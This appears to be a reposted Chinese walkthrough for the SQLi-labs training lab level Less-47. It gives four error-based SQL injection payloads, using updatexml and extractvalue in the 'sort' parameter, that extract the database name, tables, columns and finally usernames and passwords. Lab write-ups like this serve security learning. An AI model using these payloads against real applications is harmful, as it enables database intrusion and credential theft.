Less(47)

Posted meng-yu37

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Less(47)相关的知识,希望对你有一定的参考价值。

1.参看Less(46),闭合为单引号

2.爆破:

  (1)爆库:?sort=1‘ and(updatexml(1,concat(0x7e,(select database())),0)) --+

    技术图片

  (2)爆表:?sort=1‘ and(updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security" and table_name not in(‘emails‘,‘referers‘))),0)) --+

    技术图片

  (3)爆列名:?sort=1‘ and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘ and column_name not in(‘first_name‘,‘last_name‘,‘user_id‘,‘last_login‘,‘avatar‘,‘failed_login‘,‘user‘))),0)) --+

    技术图片

  (4)爆值:?sort=1‘ and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+

    技术图片

 

以上是关于Less(47)的主要内容,如果未能解决你的问题,请参考以下文章

webstorm 编译 Less 保存自动生成 wxss/acss/css

让Less不进行计算/编译的方法

scss/less修改vant/element ui的默认样式方法

webpack 配置scssless全局样式(自定义的,vue-cli2/3)

SQLI-LABS 靶场通过小记(39~53)

SQLI-LABS 靶场通过小记(39~53)